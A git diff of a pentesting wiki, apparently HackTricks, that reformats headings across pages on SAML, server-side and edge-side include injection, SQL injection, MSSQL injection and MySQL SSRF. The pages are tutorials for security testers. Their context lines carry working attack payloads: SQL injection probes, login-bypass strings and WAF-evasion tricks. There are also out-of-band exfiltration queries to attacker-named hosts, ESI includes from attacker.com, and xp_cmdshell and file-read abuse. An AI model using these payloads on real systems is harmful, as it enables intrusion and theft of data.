requested. -## SAML Request Example +# SAML Request Example Let’s take a closer look at steps 2 and 3 outlined above. We’ll make a request to the example Service Provider for the resource located at [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/), which as its name implies, is content that requires us to be authenticated to view. @@ -114,7 +112,7 @@ The **RelayState** parameter sent along with the SAML Request is state informati The **SAMLRequest** parameter is a **compressed** and **encoded** version of the same raw xml snippet we looked at earlier. SAML uses the [Deflate compression](https://en.wikipedia.org/wiki/DEFLATE) algorithm then base64 encodes the result. -## SAML Response Example +# SAML Response Example We’re going to eschew stepping through the part where the user authenticates to the IdP and jump straight into steps 5 and 6 from what was discussed in the [SAML Authentication Workflow](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/#saml-authentication-workflow). Just keep in mind that what **we’re going to look at happens after the user authenticates to the IdP.** @@ -281,11 +279,11 @@ Content-Type: text/html; charset=UTF-8 -------------8<------------- ``` -## XML Signatures +# XML Signatures We’re almost done covering all the basics we need to cover in order to move on to the actual testing! The last item we need to cover is XML Signatures. Interestingly, XML Signatures can be used to **sign either a whole XML tree or specific elements** within the tree. We already saw earlier that two separate XML Signatures were used in our example SAML Response. Each signature was responsible for a different part of the Response. In this section, we’ll look at the different ways an XML Signature can be incorporated into an XML document. Something to note is that while our examples use the Response element as the resource to be signed, XML Signatures can be applied to any Object, including Assertion elements. -### ENVELOPED SIGNATURE +## ENVELOPED SIGNATURE A basic XML Signature is comprised of the following elements. @@ -336,7 +334,7 @@ What we saw in our example earlier is known as an **enveloped signature**. An en ``` -### ENVELOPING SIGNATURE +## ENVELOPING SIGNATURE In addition to enveloped signatures, there are **enveloping signatures** where the signature wraps the resource, instead of the other way around. @@ -354,7 +352,7 @@ In addition to enveloped signatures, there are **enveloping signatures** where t ``` -### DETACHED SIGNATURE +## DETACHED SIGNATURE Finally, there are **detached signatures**. A detached signature is neither wrapping nor is it wrapped by the resource to be signed. Instead, it is wholly separate from the signed resource. @@ -372,7 +370,7 @@ Finally, there are **detached signatures**. A detached signature is neither wrap ``` -## References +# References Most of the content was copied from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) diff --git a/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index 4d2f0696..64e1369a 100644 --- a/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Server Side Inclusion/Edge Side Inclusion Injection - -## Server Side Inclusion Basic Information +# Server Side Inclusion Basic Information SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\ For example, you might place a directive into an existing HTML page, such as: @@ -40,7 +38,7 @@ A typical SSI expression has the following format: ``` -### Check +## Check ``` #Document name @@ -50,12 +48,12 @@ A typical SSI expression has the following format: #Command exec ``` -## Edge Side Inclusion +# Edge Side Inclusion There is a problem **caching information or dynamic applications** as part of the content may have **varied** for the next time the content is retrieved. This is what **ESI** is used form, to indicate using ESI tags the **dynamic content that needs to be generated** before sending the cache version.\ if an **attacker** is able to **inject an ESI tag** inside the cache content, then, he could be able to i**nject arbitrary content** on the document before it's sent to the users. -### ESI Detection +## ESI Detection The following header in a response from the server means that the server is using ESI: @@ -70,9 +68,9 @@ A blind exploitation approach can also be used as a request should arrive to the ``` -### ESI exploitation +## ESI exploitation -#### XSS +### XSS The following ESI directive will load an arbitrary file inside the response of the server @@ -82,20 +80,20 @@ The following ESI directive will load an arbitrary file inside the response of t The file _http://attacker.com/xss.html_ may contain a XSS payload like `` -#### Bypass client XSS protection +### Bypass client XSS protection ```markup x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` -#### Steal Cookie +### Steal Cookie ```markup ``` -#### Private Local File +### Private Local File Do not confuse this with a "Local File Inclusion": @@ -103,13 +101,13 @@ Do not confuse this with a "Local File Inclusion": ``` -#### CRLF +### CRLF ```markup ``` -#### Akamai debug +### Akamai debug This will send debug information included in the response: @@ -117,7 +115,7 @@ This will send debug information included in the response: ``` -### ESI + XSLT = XXE +## ESI + XSLT = XXE It is also possible to add ** **_**eXtensible Stylesheet Language Transformations (XSLT)**_** ** based ESI includes by specifying the `xslt` value to the _dca_ parameter. The following include will cause the HTTP surrogate to request the XML and XSLT file. The XSLT file is then used to filter the XML file. This XML file can be used to perform _XML External Entity (XXE)_ attacks. This allows attackers to perform SSRF attacks, which is not very useful since this must be performed through ESI includes, which is an SSRF vector itself. External DTDs are not parsed since the underlying library (Xalan) has no support for it. This means we cannot extract local files. @@ -139,12 +137,12 @@ Check the XSLT page: [xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) {% endcontent-ref %} -### References +## References * [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) * [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) -## Brute-Force Detection List +# Brute-Force Detection List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %} diff --git a/pentesting-web/sql-injection/README.md b/pentesting-web/sql-injection/README.md index 3a695b79..f3e0dee7 100644 --- a/pentesting-web/sql-injection/README.md +++ b/pentesting-web/sql-injection/README.md @@ -17,16 +17,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# SQL Injection - -## What is SQL injection? +# What is SQL injection? SQL injection is a web security vulnerability that allows an attacker to **interfere** with the **queries** that an application makes to its **database**. It generally allows an attacker to **view data** that they are not normally able to retrieve. This might include data belonging to **other users**, or any other data that the **application** itself is able to **access**. In many cases, an attacker can **modify** or **delete** this data, causing persistent changes to the application's content or behaviour.\ In some situations, an attacker can escalate an SQL injection attack to **compromise the underlying server** or other back-end infrastructure, or perform a denial-of-service attack. (From [here](https://portswigger.net/web-security/sql-injection)). > In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions. -## Entry point detection +# Entry point detection You may have found a site that is **apparently vulnerable to SQL**i just because the server is behaving weird with SQLi related inputs. Therefore, the **first thing** you need to do is how to **inject data in the query without breaking it.** To do so you first need to find how to **escape from the current context.**\ These are some useful examples: @@ -48,7 +46,7 @@ Then, you need to know how to **fix the query so there isn't errors**. In order _Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._ -### **Comments** +## **Comments** ```sql MySQL @@ -76,7 +74,7 @@ HQL HQL does not support comments ``` -### Confirming with logical operations +## Confirming with logical operations One of the best ways to confirm a SQL injection is by making it operate a **logical operation** and having the expected results.\ For example: if the GET parameter `?username=Peter` returns the same content as `?username=Peter' or '1'='1` then, you found a SQL injection. @@ -94,7 +92,7 @@ This word-list was created to try to **confirm SQLinjections** in the proposed w {% file src="../../.gitbook/assets/sqli-logic.txt" %} -### Confirming with Timing +## Confirming with Timing In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.\ Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete: @@ -123,7 +121,7 @@ SQLite In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology (if any)_. -### Identifying Back-end +## Identifying Back-end The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones: @@ -161,15 +159,15 @@ Also, if you have access to the output of the query, you could make it **print t A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example. {% endhint %} -## Exploiting Union Based +# Exploiting Union Based -### Detecting number of columns +## Detecting number of columns If you can see the output of the query this is the best way to exploit it.\ First of all, wee need to find out the **number** of **columns** the **initial request** is returning. This is because **both queries must return the same number of columns**.\ Two methods are typically used for this purpose: -#### Order/Group by +### Order/Group by Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query. @@ -189,7 +187,7 @@ Keep incrementing the number until you get a False response. Even though GROUP B #-1' UNION SELECT 1,2,3--+ True ``` -#### UNION SELECT +### UNION SELECT Select more and more null values until the query is correct: @@ -201,7 +199,7 @@ Select more and more null values until the query is correct: _You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._ -### Extract database names, table names and column names +## Extract database names, table names and column names On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table: @@ -218,7 +216,7 @@ On the next examples we are going to retrieve the name of all the databases, the _There is a different way to discover this data on every different database, but it's always the same methodology._ -## Exploiting Hidden Union Based +# Exploiting Hidden Union Based If you can see the output of the query but you can't achieve a union based injection, you are dealing with a hidden union based injection. In this situation you end up with a blind injection. To turn the blind injection to a union based one, you need to extract the query being executed on the backend. @@ -227,7 +225,7 @@ After extracting the query, you need to adjust your payload accordingly, closing Complete Article: https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f -## Exploiting Error based +# Exploiting Error based If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\ Following a similar flow as in the Union Based exploitation you could manage to dump the DB. @@ -236,7 +234,7 @@ Following a similar flow as in the Union Based exploitation you could manage to (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` -## Exploiting Blind SQLi +# Exploiting Blind SQLi In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.\ In this case, you can abuse that behaviour to dump the database char by char: @@ -245,7 +243,7 @@ In this case, you can abuse that behaviour to dump the database char by char: ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` -## Exploiting Error Blind SQLi +# Exploiting Error Blind SQLi This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char: @@ -253,7 +251,7 @@ This is the **same case as before** but instead of distinguish between a true/fa AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` -## Exploiting Time Based SQLi +# Exploiting Time Based SQLi In this case there **isn't** any way to **distinguish** the **response** of the query based on the context of the page. But, you can make the page **take longer to load** if the guessed character is correct. We have already saw this technique in use before in order to [confirm a SQLi vuln](./#confirming-with-timing). @@ -261,13 +259,13 @@ In this case there **isn't** any way to **distinguish** the **response** of the 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# ``` -## Stacked Queries +# Stacked Queries You can use stacked queries to **execute multiple queries in succession**. Note that while the subsequent queries are executed, the **results** are **not returned to the application**. Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay. **Oracle** doesn't support **stacked queries.** MySQL**,** Microsoft **and** PostgreSQL support** them: `QUERY-1-HERE; QUERY-2-HERE` -## Out of band Exploitation +# Out of band Exploitation If **no-other** exploitation method **worked**, you may try to make the **database ex-filtrate** the info to an **external host** controlled by you. For example, via DNS queries: @@ -275,17 +273,17 @@ If **no-other** exploitation method **worked**, you may try to make the **databa select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ``` -### Out of band data exfiltration via XXE +## Out of band data exfiltration via XXE ```sql a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- - ``` -## Automated Exploitation +# Automated Exploitation Check the [SQLMap Cheetsheat](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap). -## Tech specific info +# Tech specific info We have already discussed all the ways to exploit a SQLinjection vulnerability. Find some more tricks database technology dependant in this book: @@ -294,7 +292,7 @@ We have already discussed all the ways to exploit a SQLinjection vulnerability. Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) -## Authentication bypass +# Authentication bypass List to try to bypass the login functionality: @@ -302,7 +300,7 @@ List to try to bypass the login functionality: [sql-login-bypass.md](../login-bypass/sql-login-bypass.md) {% endcontent-ref %} -### Authentication Bypass (Raw MD5) +## Authentication Bypass (Raw MD5) When a raw md5 is used, the pass will be queried as a simple string, not a hexstring. @@ -318,7 +316,7 @@ md5("ffifdyop", true) = 'or'6�]��!r,��b� Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772) -### Hash Authentication Bypass +## Hash Authentication Bypass ```sql admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' @@ -331,7 +329,7 @@ _(This payloads are also included in the big list mentioned at the beginning of {% file src="../../.gitbook/assets/sqli-hashbypass.txt" %} -### GBK Authentication Bypass +## GBK Authentication Bypass IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (_╘'_) @@ -352,15 +350,15 @@ r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) print r.text ``` -### Polyglot injection (multicontext) +## Polyglot injection (multicontext) ```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` -## Insert Statement +# Insert Statement -### Modify password of existing object/user +## Modify password of existing object/user To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something: @@ -368,7 +366,7 @@ To do so you should try to **create a new object named as the "master object"** * Create a user named: **admin=** * **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a** -#### SQL Truncation Attack +### SQL Truncation Attack If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password. @@ -378,7 +376,7 @@ More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideu _Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)__ -### MySQL Insert time based checking +## MySQL Insert time based checking Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection. @@ -386,7 +384,7 @@ Add as much `','',''` as you consider to exit the VALUES statement. If delay is name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` -### ON DUPLICATE KEY UPDATE +## ON DUPLICATE KEY UPDATE ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by: @@ -403,9 +401,9 @@ Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL After this, we can simply authenticate with “admin@example.com” and the password “qwerty”! ``` -### Extract information +## Extract information -#### Creating 2 accounts at the same time +### Creating 2 accounts at the same time When trying to create a new user and username, password and email are needed: @@ -416,7 +414,7 @@ username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(selec A new user with username=otherUsername, password=otherPassword, email:FLAG will be created ``` -#### Using decimal or hexadecimal +### Using decimal or hexadecimal With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything. @@ -443,7 +441,7 @@ Using **hex** and **replace** (and **substr**): '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` -## Routed SQL injection +# Routed SQL injection Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) @@ -454,9 +452,9 @@ Example: -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a ``` -## WAF Bypass +# WAF Bypass -### No spaces bypass +## No spaces bypass No Space (%20) - bypass using whitespace alternatives @@ -481,7 +479,7 @@ No Whitespace - bypass using parenthesis ?id=(1)and(1)=(1)-- ``` -### No commas bypass +## No commas bypass No Comma - bypass using OFFSET, FROM and JOIN @@ -491,7 +489,7 @@ SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` -### Generic Bypasses +## Generic Bypasses Blacklist using keywords - bypass using uppercase/lowercase @@ -511,7 +509,7 @@ OR -> || -> %7C%7C WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) ``` -### Scientific Notation WAF bypass +## Scientific Notation WAF bypass You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\ Basically you can use the scientific notation in unexpected ways for the WAF to bypass it: @@ -522,7 +520,7 @@ Basically you can use the scientific notation in unexpected ways for the WAF to ' or 1.e('')= ``` -### Bypass Column Names Restriction +## Bypass Column Names Restriction First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag` @@ -542,16 +540,16 @@ Or using a **comma bypass**: This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) -### WAF bypass suggester tools +## WAF bypass suggester tools {% embed url="https://github.com/m4ll0k/Atlas" %} -## Other Guides +# Other Guides * [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) -## Brute-Force Detection List +# Brute-Force Detection List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %} diff --git a/pentesting-web/sql-injection/mssql-injection.md b/pentesting-web/sql-injection/mssql-injection.md index 40d8cadd..c34cf582 100644 --- a/pentesting-web/sql-injection/mssql-injection.md +++ b/pentesting-web/sql-injection/mssql-injection.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# MSSQL Injection - -## Active Directory enumeration +# Active Directory enumeration It may be possible to **enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions: @@ -35,7 +33,7 @@ def get_sid(n): return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000 ``` -## **Alternative Error-Based vectors** +# **Alternative Error-Based vectors** **(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**)** Error-based SQL injections typically resemble constructions such as «+AND+1=@@version–» and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data. @@ -57,9 +55,9 @@ https://vuln.app/getItem?id=1'%2buser_name(@@version)-- ![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png) -## SSRF +# SSRF -#### fn\_trace\_gettabe, fn\_xe\_file\_target\_read\_file, fn\_get\_audit\_file (from [here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)) +### fn\_trace\_gettabe, fn\_xe\_file\_target\_read\_file, fn\_get\_audit\_file (from [here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)) `fn_xe_file_target_read_file()` example: @@ -105,7 +103,7 @@ Alternatively, you could also use a User Defined Function in MSSQL to load a DLL Let’s look at the above techniques in a little more detail. -#### Limited SSRF using master..xp\_dirtree (and other file stored procedures) +### Limited SSRF using master..xp\_dirtree (and other file stored procedures) The most common method to make a network call you will come across using MSSQL is the usage of the Stored Procedure `xp_dirtree`, which weirdly is undocumented by Microsoft, which caused it to be [documented by other folks on the Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). This method has been used in [multiple examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) of [Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) posts on the Internet. @@ -123,7 +121,7 @@ Much like MySQL’s `LOAD_FILE`, you can use `xp_dirtree` to make a network requ There are other stored procedures [like `master..xp_fileexist` ](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)etc. as well that can be used for similar results. -#### master..xp\_cmdshell +### master..xp\_cmdshell The extended stored procedure [`xp_cmdshell` spawns a Windows command shell and executes the string passed to it, returning any rows of text](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql). This command is run as the SQL Server service account. @@ -155,7 +153,7 @@ GO You can additionally pass other headers and change the HTTP method as well to access data on services that need a POST or PUT instead of a GET like in the case of IMDSv2 for AWS or a special header like `Metadata: true` in the case of Azure or the `Metadata-Flavor: Google` for GCP. -#### MSSQL User Defined Function - SQLHttp +### MSSQL User Defined Function - SQLHttp It is fairly straightforward to write a CLR UDF (Common Language Runtime User Defined Function - code written with any of the .NET languages and compiled into a DLL) and load it within MSSQL for custom functions. This, however, requires `dbo` access so may not work unless the web application connection to the database as `sa` or an Administrator role. @@ -197,7 +195,7 @@ SELECT dbo.http(@url); -## **Quick exploitation: Retrieve an entire table in one query** +# **Quick exploitation: Retrieve an entire table in one query** **(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**)** There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it. @@ -217,7 +215,7 @@ https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_n ![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png) -## **Reading local files** +# **Reading local files** **(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**)** An example of retrieving a local file `C:\Windows\win.ini` using the function OpenRowset(): @@ -235,7 +233,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w **Permissions:** The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission. -## **Retrieving the current query** +# **Retrieving the current query** **(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**)** The current SQL query being executed can be retrieved from access `sys.dm_exec_requests` and `sys.dm_exec_sql_text`: @@ -247,7 +245,7 @@ https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_ **Permissions:** If the user has VIEW SERVER STATE permission on the server, the user will see all executing sessions on the instance of SQL Server; otherwise, the user will see only the current session. -## **Little tricks for WAF bypasses** +# **Little tricks for WAF bypasses** **(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**)** Non-standard whitespace characters: %C2%85 или %C2%A0: diff --git a/pentesting-web/sql-injection/mysql-injection/README.md b/pentesting-web/sql-injection/mysql-injection/README.md index 588baf26..05fe76ee 100644 --- a/pentesting-web/sql-injection/mysql-injection/README.md +++ b/pentesting-web/sql-injection/mysql-injection/README.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# MySQL injection - **This is a basic flow of how to confirm and perform a basic MySQL Injection. For more information go to:** [**https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md**](https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md) -## Comments +# Comments ```sql -- MYSQL Comment @@ -31,9 +29,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) /*!32302 10*/ Comment for MySQL version 3.23.02 ``` -## Interesting Functions +# Interesting Functions -### Confirm Mysql: +## Confirm Mysql: ``` concat('a','b') @@ -49,7 +47,7 @@ length(1) count(1) ``` -### Useful functions +## Useful functions ```sql SELECT hex(database()) @@ -67,7 +65,7 @@ SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` -## All injection +# All injection ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" @@ -75,7 +73,7 @@ SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCH from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) -## Flow +# Flow Remember that in "modern" versions of **MySQL** you can substitute "_**information\_schema.tables**_" for "_**mysql.innodb\_table\_stats**_**"** (This could be useful to bypass WAFs). @@ -86,17 +84,17 @@ SELECT , FROM ; #Get values SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges ``` -### **Only 1 value** +## **Only 1 value** * `group_concat()` * `Limit X,1` -### **Blind one by one** +## **Blind one by one** * `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` * `mid(version(),X,1)='5'` -### **Blind adding** +## **Blind adding** * `LPAD(version(),1...lenght(version()),'1')='asd'...` * `RPAD(version(),1...lenght(version()),'1')='asd'...` @@ -104,7 +102,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges * `SELECT LEFT(version(),1...lenght(version()))='asd'...` * `SELECT INSTR('foobarbar', 'fo...')=1` -## Detect number of columns +# Detect number of columns Using a simple ORDER @@ -121,7 +119,7 @@ UniOn SeLect 1,2,3 ... ``` -## MySQL Union Based +# MySQL Union Based ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata @@ -130,13 +128,13 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_sc UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` -## SSRF +# SSRF **Learn here different options to** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** -## WAF bypass tricks +# WAF bypass tricks -### Information\_schema alternatives +## Information\_schema alternatives Remember that in "modern" versions of **MySQL** you can substitute _**information\_schema.tables**_ for _**mysql.innodb\_table\_stats**_** ** or for _**sys.x$schema\_flattened\_keys**_ or for **sys.schema\_table\_statistics** @@ -144,7 +142,7 @@ Remember that in "modern" versions of **MySQL** you can substitute _**informatio ![](<../../../.gitbook/assets/image (155).png>) -### MySQLinjection without COMMAS +## MySQLinjection without COMMAS Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): @@ -152,7 +150,7 @@ Select 2 columns without using any comma ([https://security.stackexchange.com/qu -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` -### Retrieving values without the column name +## Retrieving values without the column name If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like: @@ -171,11 +169,11 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1); More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) -### MySQL history +## MySQL history You ca see other executions inside the MySQL reading the table: **sys.x$statement\_analysis** -### Version alternative**s** +## Version alternative**s** ``` mysql> select @@innodb_version; diff --git a/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md b/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md index 535a6894..e54f0025 100644 --- a/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md +++ b/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Mysql SSRF - **Post copied from** [**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#mysqlmariadbpercona**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#mysqlmariadbpercona) -### Using LOAD\_FILE/LOAD DATA/LOAD XML +## Using LOAD\_FILE/LOAD DATA/LOAD XML Every SQL Out of Band data exfiltration article will use the `LOAD_FILE()` string function to make a network request. The function itself has its own limitations based on the operating system it is run on and the settings with which the database was started. @@ -37,7 +35,7 @@ This Server Side Request Forgery, although useful, is restricted to only TCP por 